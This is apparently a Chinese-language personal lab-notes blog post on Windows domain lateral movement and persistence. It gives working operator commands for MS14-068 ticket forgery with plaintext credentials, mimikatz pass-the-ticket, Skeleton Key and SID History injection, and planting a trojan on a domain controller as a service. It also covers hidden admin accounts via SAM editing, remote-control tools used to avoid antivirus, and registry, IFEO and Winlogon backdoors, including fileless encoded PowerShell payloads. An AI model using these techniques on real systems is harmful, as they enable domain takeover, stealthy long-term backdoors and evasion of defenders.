域内权限维持和单机权限维持

## 域环境权限维持

先补下上个笔记的票据内容,emmm由ai生成

1780360525505

一、Kerberos 是什么?(用公司门禁系统理解)

Kerberos 是一种网络认证协议,核心作用是:在不安全的网络中,安全地证明“你是你”,而不用每次都输密码。

把它想象成一家大型公司的严格门禁系统:

  • 客户端:你(员工)
  • 服务端:你想访问的资源,比如打印机、文件服务器
  • KDC (密钥分发中心):公司安保总部,是整个信任体系的根。它里面包含两个核心角色:
    • AS (认证服务):负责确认你是谁,给你发“临时通行证”
    • TGS (票据授予服务):负责把“临时通行证”换成“特定房间的权限”

二、Kerberos 的正常工作流程(3步)

  1. 你到公司(AS认证):你刷卡(输入密码)给前台(AS),前台确认后,发给你一张“TGT (票据授予票据)”
    • TGT的特性:这张票只能交给TGS,不能直接开门。它证明“你是合法员工”。TGT 是用一个只有安保总部知道的根密钥(KRBTGT密钥)加密的。
  2. 你去换权限(TGS换票):你想进“财务室”。你拿着TGT去找TGS:“我要去财务室”。TGS验证你的TGT没问题(用根密钥解密成功),然后发给你一张“ST (服务票据)”
    • ST的特性:这张票明确写着“允许张三进财务室”。ST 是用“财务室自己的密码”加密的。
  3. 你进财务室(访问服务):你拿着ST去刷财务室的门锁。财务室的门锁用自己的密码解密ST,一看是张三,开门。

关键点:整个过程中,所有票据都是加密的。服务器(财务室)不联系安保总部,它只相信自己能解开的ST。

三、为什么能产生黄金票据和白银票据?

攻击者发现了设计中的两个信任弱点:只要知道某个密码(密钥),就能伪造对应的票据,因为服务器“信任”能正确解密的票据就是真的。

1. 黄金票据:伪造“安保总部的根密钥 (KRBTGT)”

  • 弱点:整个信任链的源头是 KRBTGT账户的密码哈希。这是安保总部给TGT签名的绝对密钥。
  • 攻击:如果攻击者拿到了这个KRBTGT哈希(例如黑掉域控服务器抓取到),他就可以自己扮演安保总部伪造任意员工的TGT,哪怕这个员工不存在,有效期写到100年后。
  • 后果:攻击者拿着这个“万能TGT”,可以去TGS换取任何服务、任何服务器的ST。相当于控制了整个公司。

2. 白银票据:伪造“某台服务器的服务密码”

  • 弱点:ST的加密密钥是目标服务自己的密码哈希(例如文件服务器的机器账户密码)。
  • 攻击:攻击者不需要弄到总部的KRBTGT,他只要搞到某台服务器(比如财务室服务器)的本地密码哈希(比如通过攻击这台服务器本身),就能直接伪造去这台服务器的ST。
  • 后果:攻击者跳过安保总部(AS/TGS),不经过任何TGT验证,直接把假ST递给财务室服务器。由于ST能用服务器的本地密码正确解密,服务器就信任了。攻击者只能进入这一台服务器的特定服务(如文件共享),但这一过程不留下与域控交互的日志。

总结:为何Kerberos设计会产生这个漏洞?

因为Kerberos为了性能去中心化,做了一个经典设计权衡:

  • 服务端不联查中心:文件服务器收到ST后,自己解密验证,不需要每次访问都去问域控“这人是谁”。这极大地减轻了域控压力,速度快。
  • 信任票据自身:服务端相信:只要你能用我的密码解开这张票,票里的内容就是真的。

于是漏洞诞生了:

谁掌握了加密密钥,谁就是上帝。

  • 掌握了 KRBTGT密钥 = 整个域的上帝 → 黄金票据
  • 掌握了 某台服务密钥 = 那台服务器的上帝 → 白银票据

Kerberos本身不是漏洞,而是这个“信任密钥”的模型,在密钥泄露后就完全崩溃了。所以防御的核心才变成了保护密钥:死死护住KRBTGT,并且频繁更换所有服务账户的密码。

一、黄金票据:伪造的TGT数据块

它本质是: 一个用 KRBTGT账户哈希 加密的 TGT(票据授予票据) 数据包。

这个数据包里写了什么?(简化版)

  • 申请人 (Client):你伪造的用户,比如 AdministratorEnterprise Admin
  • 有效时间 (Start/End Time):你设定的有效期,可以写10年
  • 组成员 (Group Membership):这是最关键的字段,你直接写上 Domain Admins (域管理员组)、Enterprise Admins (企业管理员组) 等SID(安全标识符)
  • 会话密钥 (Session Key):你随便生成的一个随机数,用于后续和TGS通信

关键: 因为整个数据包是用 KRBTGT的密钥 加密的,而域内的KDC(密钥分发中心)在收到这个TGT后,会用自己的密钥(KRBTGT)去解密。能解密成功 = 合法的TGT。KDC根本不关心这个TGT是不是自己之前签发的,它只认加密是否正确。

形象比喻:
黄金票据就是你偷了国家印钞厂的母版(KRBTGT),自己印了一张面值10亿的钞票。银行的验钞机(KDC)检查防伪标识(解密),发现完全正确,就会当真钞收下。

二、白银票据:伪造的ST数据块

它本质是: 一个用 目标服务账户的哈希 加密的 ST(服务票据) 数据包。

这个数据包里写了什么?(简化版)

  • 申请人 (Client):你伪造的用户,同样可以是 Administrator
  • 目标服务 (Service Name):你要访问的具体服务,比如 CIFS/FileServer.domain.com (文件共享服务)
  • 组成员 (Group Membership):同样,你直接写上 Domain Admins
  • 有效时间:也可以设置比较长,但通常几小时就够
  • 授权数据 (Authorization Data):伪造的PAC(特权属性证书),告诉服务“这个人有管理员权限”

关键: 这个数据包根本不经过KDC。攻击者直接把它发给目标服务器(比如文件服务器)。目标服务器收到后,用自己的机器密码哈希去解密。能解密成功 = 合法的ST。服务器看到里面的 Domain Admins,就直接放行。

形象比喻:
白银票据就是你偷了某个金库(目标服务器)的专用钥匙,自己伪造了一张“押运单”。你拿着这张假单子直接去开金库门。守门员用自己的钥匙验证单子上的印章(解密),发现正确,就让你进去了。整个过程完全绕过了银行总行(KDC)。

核心区别表(从“是什么”角度)

对比项 黄金票据 (Golden Ticket) 白银票据 (Silver Ticket)
是什么协议数据 TGT (票据授予票据) ST (服务票据)
发给谁 发给 KDC (域控),用来换取服务票据 直接发给 目标服务器,用来访问服务
用谁的密钥加密 KRBTGT 账户的哈希 (域控的根密钥) 目标服务账户 的哈希 (如机器账户)
数据包里的关键信息 伪造的用户名、组成员(SID)、有效期 伪造的用户名、组成员(SID)、目标服务名
合法性的验证方式 KDC 用自己的密钥解密成功,认为合法 目标服务器用自己的密钥解密成功,认为合法
是否需要与域控交互 需要 (用TGT去换ST时会交互) 不需要 (直接发给服务器)

简单比喻理解

  • 黄金票据:你伪造了整个小区的“万能钥匙”(Master Key)。你可以打开任何一家的门、信箱、车库。
  • 白银票据:你伪造了某栋楼某个单元门的专用钥匙。你只能进入这个单元,去不了其他楼。

黄金票据与白银票据伪造 - Wineme_哔哩哔哩_bilibili

上面是生成的解释和使用minikatz的演示

1780361563122

上篇次实验用到的虚拟环境kali和本机为攻击机,DC为域控Webserver为跳板机,Mary为域账户,这操作还是太次内存了。

CS拿到webserver主机之后,执⾏命令,查看当前⽤⼾的SID值:shell whoami/user

MS14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778- 1132 -d 192.168.3.21 -p admin!@#45

-u 指定⽤⼾名

-s 指定SID值

-d 指定IP地址

-p 指定密码

1780363548807

查看当前票据:shell klist

清除当前主机票据:shell klist purge

查看当前票据:shell klist

清除当前主机票据:shell klist purge

1780363796910

#避免当前主机中缓存的票据会影响后续的操作,所以先将主机上原有的票据清除

使⽤CS将⽣成的票据上传到受控主机

mimikatz kerberos::ptc TGT_webadmin@god.org.ccache

#利⽤mimikatz将⽣成的票据导⼊到当前被控主机的内存中

mimikatz kerberos::ptc TGT_webadmin@god.org.ccache

#利⽤mimikatz将⽣成的票据导⼊到当前被控主机的内存中

shell klist

#再次查看当前票据

1780363910852

shell dir \owa2010cn-god\c$

#连接计算机名为owa2010cn-god的主机,查看C盘的⽬录

#owa2010cn-god的主机为域控的主机,通过信息收集可以得到主机名。

shell net use \OWA2010CN-God\c$

shell copy 5555.exe \OWA2010CN-God\c$

shell sc \OWA2010CN-God create bindshe binpath= "c:\5555.exe"

shell sc \OWA2010CN-God start bindshe

#⾸先将⽊⻢copy到⽬标主机(域控),利⽤sc命令⽣成服务将⽊⻢放置到服务中,随后启动服务,即

可让⽊⻢上线

—————— ฅ՞• •՞ฅ ———————

以上是内网横向的一些内容,工具好多emmmb( ̄▽ ̄)d

下面是 

权限维持

—————— ฅ՞• •՞ฅ ———————

对于域

隐藏账户

上传CreateHiddenAccount_upx_v0.2.exe并创建用户

1780469522224

正常的命令⽆法检查出来,查看计算机⽤⼾时可以看到刚刚添加的隐藏账⼾⾪ 属于管理员组

此⼯具还可以检查是否具有隐藏⽤⼾:

CreateHiddenAccount_upx_v0.2.exe -c

影⼦账⼾

顾名思义就是隐藏的账⼾,在CMD命令⾏和“计算机管理”⾥⾯看不⻅,但却有管理员权限的账

⼾。影⼦账⼾这⼀概念随着Windows系统产⽣,在⿊客技术⾥与后⻔安装(权限维持)技术挂钩。

由于它的隐藏性强,⼊侵者多在被⼊侵的电脑⾥加这样的账⼾,⽤于远程登录以便控制客⼾机。

影⼦账⼾利⽤思路:

1.克隆管理员Administrator账⼾权限

‒ 需要注意管理员帐⼾是否被禁⽤,如果被禁⽤,那么克隆出的隐藏帐⼾也是被禁⽤状态。

2.复制已有账⼾

‒ 在3389远程登录的利⽤上存在相同帐⼾的冲突关系

‒ 如果系统当前登录帐号为a,那么使⽤由账⼾a克隆来的隐藏帐⼾aaa$登录的话,会系统被识别为帐

⼾a,导致帐⼾a下线

3.新建账⼾再复制

‒ 新建管理员帐⼾b,克隆帐⼾b,建⽴隐藏账⼾bbb$

‒ 删除管理员帐⼾b,隐藏账⼾bbb$仍然有效

4.原账⼾的维持

‒ 克隆帐⼾a的权限,建⽴隐藏帐⼾aaa$

‒ 修改帐⼾a的密码,隐藏帐⼾aaa$仍然有效

win+r 输入regedit回车打开注册表

1780470881229

1780470906285

1780470933539

查看到RID文件夹,并导出替换用户的f值从admin的f值

1780471054720

net user 用户名$ /del

后点击重新导入账户

查看影子账户工具D盾,河马

影子账户的原理是通过直接操作Windows注册表中的SAM(安全账户管理器)数据库,创建一个在常规管理工具(如net user、计算机管理)中不可见,但实际拥有管理员权限的隐藏账户。其核心技术点如下:

1. 账户的可见性控制

  • 以$结尾的用户名net user aaa$ /add创建的账户,在默认的net user列表中不会显示(需net user aaa$才能看到),但“计算机管理”仍能列出。
  • 直接注册表操作:通过导出、删除、再导入注册表项,使得账户信息存在于SAM中,但绕过了系统枚举用户的标准API(如NetUserEnum),从而在所有常规管理界面中彻底隐藏。

2. 权限提升原理

  • F值:注册表中HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\<RID>下的F键值,存储了用户的权限配置(包括组成员身份、令牌等二进制数据)。
  • 复制Administrator的F值:将Administrator对应的000001F4文件夹中的F值,覆盖到目标账户(如aaa$)对应的F值中。这样目标账户就获得了与Administrator完全相同的权限——即成为隐藏的管理员。

远程控制软件

emmm有点乱了,之后写的笔记加个目录

常⽤的控制⼿段(CS和MSF等平台⽣成的后⻔)需要涉及到很多免杀的技术和⼿段。但是使⽤远

程控制软件(例如向⽇葵、ToDesk)的时候,因为该类型的软件是市⾯上常⽤的、⼤众熟知的远控软

件,所以早已被各⼤安全⼚商加⼊到⽩名单。使⽤此类软件去操作控制⽬标服务器时,可以省略免杀

的步骤。

1780475402052

1780475743051

放入目标机器之后点击执行 1780476094290

优点:

1、⽆需安装控制端软件,有浏览器就可以远控

2、流量⾛的https协议,只要⽬标放⾏443端⼝就可以实现

3、低带宽环境下也可以使⽤,运⾏占⽤内存和CPU极低

缺点:

1、⽬标有⽹络,且不封堵https

2、⽬标主机休眠状态下唤醒远程控制,会导致安全卫⼠的拦截。

但是其他软件不会拦截(可以使⽤该软件⼿动关闭杀毒软件)

基于登录进程劫持(Skeleton Key技术)

LSASS_360百科

  • 核心目标:在域控服务器的 lsass.exe(Local Security Authority Subsystem Service,负责本地安全认证)进程中注入一个恶意补丁,使得域内任何用户除了使用自己的真实密码外,还可以用一个 预设的万能密码 成功登录。
  • 技术依托mimikatz 工具中的 misc::skeleton 模块实现。它修改 lsass 中 NTLM 验证逻辑,对输入密码进行比对时,如果匹配万能密码,则直接通过认证。
  • 影响范围:整个域的所有账户(包括域管理员、普通用户,甚至 krbtgt 账户),因为域控的 lsass 处理所有域登录请求。
  • 原始密码依然有效:用户正常改密或使用原密码不受影响,后门不易被察觉。

IPC连接使⽤收集到的凭据信息去发起连接之后

net use \owa2010cn-god\ipc$ "Admin12345" /user:god.org\administrator

dir \owa2010cn-god\c$

#写⼊万能密码:

privilege::debug

#刷新,保存

misc::skeleton

写⼊万能密码之后,可以直接在其他域控主机上使⽤万能密码连接DC域控主机

net use \owa2010cn-god\ipc$ "mimikatz" /user:god.org\administrator

dir \owa2010cn-god\c$

windows系统不保存⽤⼾的明⽂密码,lsass.exe--sam数据库。

因为Skeleton Key技术是被注⼊到“lsass.exe”进程的,所以他只存在内存中,如DC域控重启,

“lsass.exe”进程将会重新加载,那么万能密码将失效

基于⽤⼾属性修改(SID history)

https://blog.csdn.net/m0_61643743/article/details/124437452

SID History 注入

1. 核心原理

SID History本是微软为域迁移场景设计的安全属性,当账户从一个域迁移到另一个域时,旧域的SID会写入新账户的SID History中,使其保留对原域资源的访问权限。

攻击者滥用此机制,将高权限账户(如域管理员)的SID注入到普通域账户的SID History属性中,使该普通账户在权限验证时自动获得目标SID对应的所有权限,且不会修改原有账户属性。

2. 操作详解

  • 获取SID:笔记中使用 wmic useraccount get sid,name 命令获取域内用户的SID值。wmic 是Windows内置工具,无需加载PowerShell模块即可获取SID信息。Get-ADUser 是查看 SID History 属性的正确命令,该属性默认值为空。
  • 注入SID:Mimikatz的 sid::patch 会临时修改NTDS服务(Active Directory的目录服务)的验证逻辑,允许向SID History写入本不应修改的高权限SID。sid::add /sam:webadmin /new:administrator 将目标账户 administrator 的SID添加到webadmin账户的SID History中,操作完成后webadmin会获得管理员权限。
  • 版本限制:此方法在Windows Server 2016及更高版本的域控上无法直接使用。sid::patch 命令会因错误而失败。针对新版域控需要使用DSInternals PowerShell模块,但操作更为复杂。
  • 验证:再次通过 Get-ADUser webadmin -Properties sidhistory 查看,webadmin用户的SID History属性中已出现目标SID。
  • 登录:webadmin用户此时已具备管理员权限,可执行 dir \\owa2010cn-god\c$ 等远程访问操作

⻩⾦⽩银票据

krbtgt是Windows域中的默认管理员账⼾,它是域控制器使⽤的账⼾。该账⼾由LDAP和Kerberos认

证系统使⽤,并且在域环境中的每个域控制器上都存在⼀个krbtgt账⼾。这个账⼾的主要作⽤是为了

帮助⽤⼾和应⽤程序使⽤Kerberos进⾏⾝份验证,并授权票据。

1,利⽤mimikatz获取krbtgt账⼾的hash值,并导出

(这⼀步在横向移动过程中可以利⽤信息收集过程中去获得)

对于单机(这里写的有点敷衍了)

一、自启动项(3 种方式)

1. 启动目录

  • 路径C:\Documents and Settings\用户名\「开始」菜单\程序\启动(Win7 及以后类似 %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
  • 原理:系统开机时自动执行该目录下的所有程序。
  • 优点:操作简单。
  • 缺点:权限通常为当前用户,且容易被发现。

2. 自启动服务

  • 命令sc create ServiceTest binPath= C:\6.exe start= auto
  • 原理:创建一个系统服务,并设置为“自动启动”。
  • 优点:服务以 SYSTEM 权限运行,权限高。
  • 删除sc delete ServiceTest

3. 注册表启动项

  • 当前用户HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

  • 本地机器(需管理员)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

  • 添加命令

    text

    REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\6.exe"
    

  • 权限:写入 HKCU 以用户权限运行;写入 HKLM 以 SYSTEM 权限运行。

4. 计划任务(补充)

  • 旧系统at \\目标IP 时间 c:\6.exe
  • 新系统schtasks /create /s 目标IP /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\6.exe /F

二、映像劫持(Image File Execution Options, IFEO)

1. 基础劫持

  • 注册表路径HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\程序名.exe

  • 原理:设置 debugger 键值,当目标程序(如 notepad.exe)启动时,实际运行的是指定的程序(如 calc.exe)。

  • 命令示例

    text

    REG ADD "HKLM\...\notepad.exe" /v debugger /t REG_SZ /d "C:\windows\system32\cmd.exe /c calc"
    

  • 缺点:目标程序功能被破坏,容易暴露。

2. 高级隐蔽劫持(利用 GlobalFlag + SilentProcessExit)

  • 原理:利用 Windows 的“进程静默退出”机制(Silent Process Exit),在目标程序正常关闭时触发执行后门程序,不影响原程序功能。

  • 操作

    cmd

    reg add "HKLM\...\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
    reg add "HKLM\...\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
    reg add "HKLM\...\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\6.exe"
    

  • 效果:用户正常使用 notepad,关闭时后门启动,更难发现。


三、登录界面劫持(Winlogon Userinit)

  • 注册表路径HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

  • 键值Userinit,默认值为 C:\Windows\system32\userinit.exe,

  • 原理:每次用户登录或切换账户时,系统会执行该键值下的所有程序(用逗号分隔)。

  • 添加后门

    text

    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\6.exe"
    

  • 效果:每次登录/切换用户,后门都会运行(通常为 SYSTEM 权限)。


四、配合无文件落地(避免杀毒软件查杀)

核心思想

不将木马程序写入磁盘,而是将木马的执行代码(如 PowerShell 脚本)直接写入注册表,通过注册表键值触发执行。

步骤(以 CS 生成的 PowerShell 代码为例)

  1. 生成 PowerShell 代码:Cobalt Strike 生成一个经过 Base64 编码的 PowerShell 命令(实际是一个下载执行或反射加载的 payload)。

  2. 写入注册表:将整个长命令拼接到 Userinit 键值中,例如:

    text

    REG ADD "HKLM\...\winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,powershell -nop -w hidden -encodedcommand <BASE64字符串>"
    

  3. 效果:系统登录时,会运行 PowerShell 执行内存中的 payload,没有任何落地文件。

  4. 免杀增强:可对 PowerShell 代码进一步加密、混淆或使用其他语言(如 C#、VBS)编译后写入。

posted @ 2026-06-04 14:15  了了木大  阅读(37)  评论(0)    收藏  举报